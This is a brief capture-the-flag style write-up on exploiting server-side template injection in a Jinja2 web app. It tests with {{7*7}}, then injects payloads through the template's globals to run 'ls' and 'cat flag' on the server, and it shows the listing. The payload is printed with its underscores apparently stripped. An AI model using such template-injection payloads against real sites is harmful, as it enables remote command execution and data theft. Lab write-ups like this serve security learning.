

Inspect first if the website has server side template vulnerabilities.
This is done by injecting `{{7*7}}` command for Jinja2.

49

Decision: The site has Jinja2

```
{{ config.class.init.globals['os'].popen('ls').read() }}
```

**__pycache__ app.py flag
requirements.txt**

```
{{ config.class.init.globals['os'].popen('cat flag').read() }}
```
